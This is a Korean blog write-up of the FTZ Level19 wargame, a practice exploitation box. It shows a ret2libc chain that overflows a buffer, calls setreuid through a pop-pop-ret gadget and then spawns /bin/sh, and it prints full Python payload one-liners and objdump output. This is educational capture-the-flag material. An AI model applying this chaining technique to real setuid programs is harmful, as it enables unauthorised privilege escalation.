Sqix

FTZ Level19 본문

Wargame/FTZ

FTZ Level19

Sqix_ow 2018. 7. 21. 11:48


RTL 문제가 나왔습니다. 그런데 여기엔 setreuid가 없네요?


dummy가 20 bytes이니 총 44bytes(SFP)를 A로 덮고 RET는 system으로 덮고 RET + 4를 다시 A로 덮고(RET 이후 돌아갈 함수의 주소, ebp + 4), RET + 8을 /bin/sh로 넣어 주면(arg00) /bin/sh을 구하는 RTL을 할 수 있습니다.

stack 구조


[ buf 20 ] [ dummy 20 ] [ SFP 4 ] [ RET 4 ] [ FUNC ADDR 4 ] [ ARGV00 ] [ ARGV01 ] ...


exploit : (python -c 'print "A" * 44 + "\xa4\x7e\x12\x42" + "A" * 4 + "\xc0\xf2\x03\x42"'; cat) | ./attackme


우선 /bin/sh는 쉽게 구할 수 있습니다. 하지만, 다음 권한으로 넘어가기 위해서는 setreuid가 필요하죠.


그동안 3095 3096 3097 ... 등으로 setreuid의 argv00, argv01이 증가해 왔으니 setreuid(3100, 3100);을 넣는다면 level20의 권한을 얻을 수 있습니다.


다만, 어떻게 두 개의 함수를 호출할 것인가? 가 관건입니다.


여기서는 RTL Chaining 기법을 이용해야 합니다. setreuid 함수의 인자가 두 개이기 때문에, BOF + RTL을 통해서 한 번 더 함수 호출을 해 주어야 합니다.


18번에서 RTL을 풀 때, system(/bin/sh) 다음의, 즉 [ RET (4) ] [ next ] [ argv00 ] [ argv01 ] ... ... 에서 next 부분을 dummy로 덮었었다면


이제 이 부분을 다음 함수의 인자 수 만큼 pop이 있고, 거기에 ret이 더해진 gadget을 찾아야 합니다. 


setreuid로 권한을 먼저 올려야 하므로, next 부분에 setreuid의 인자들을 정리해 줄 수 있는 pop-pop, 그리고 다시 돌아올 수 있는 ret가 필요합니다.


$ objdump -d attackme | grep "ret"


 804849d: 5b                    pop    %ebx

 804849e: 5d                    pop    %ebp

 804849f:         c3                    ret    


pop pop pop ret gadget이 있네요. pop pop ret만 이용하겠습니다.


system 함수를 사용하고 나서 pop ret gadget은, 굳이 더 이상 chaining을 할 필요가 없으니 필요 없습니다.


0x0804849d : pop-pop-ret gadget


여기서는 payload 구성을 다음과 같이 해 주면 됩니다.


[ A * 44 ] [ setreuid ] [ pop pop ret gadget ] [ 3100 ] [ 3100 ] [ system ] [ dummy ] [ /bin/sh ] 


setreuid의 주소는 objdump -d /lib/tls/libc.so.6 | grep setreuid로 구할 수 있습니다.


 

[level19@ftz level19]$ objdump -d /lib/tls/libc.so.6 | grep setreuid

420d7920 <setreuid>:

420d794c: 77 05                ja     420d7953 <setreuid+0x33>

420d7963: eb e9                jmp    420d794e <setreuid+0x2e>

420d7a1c: e8 ff fe ff ff        call   420d7920 <setreuid>


-> setreuid의 주소 : 0x420d7920


payload 구성은 다음과 같습니다.


(python -c 'print "A"*44 + "\x20\x79\x0d\x42" + "\x9d\x84\x04\x08" + "\x1c\x0c\x00\x00" + "\x1c\x0c\x00\x00" + "\xc0\xf2\x03\x42" + "A" * 4 + "\xa4\x7e\x12\x42"'; cat) | ./attackme




성공


FTZ Level20은 FSB인데, 이제는 사라진 기법이니 굳이 공부하지 않도록 하겠습니다.

'Wargame > FTZ' 카테고리의 다른 글

FTZ All Clear!  (0) 2018.07.21
FTZ Level18  (0) 2018.07.20
FTZ Level17  (0) 2018.07.20
FTZ Level16  (0) 2018.07.20
FTZ Level15  (0) 2018.07.10
Comments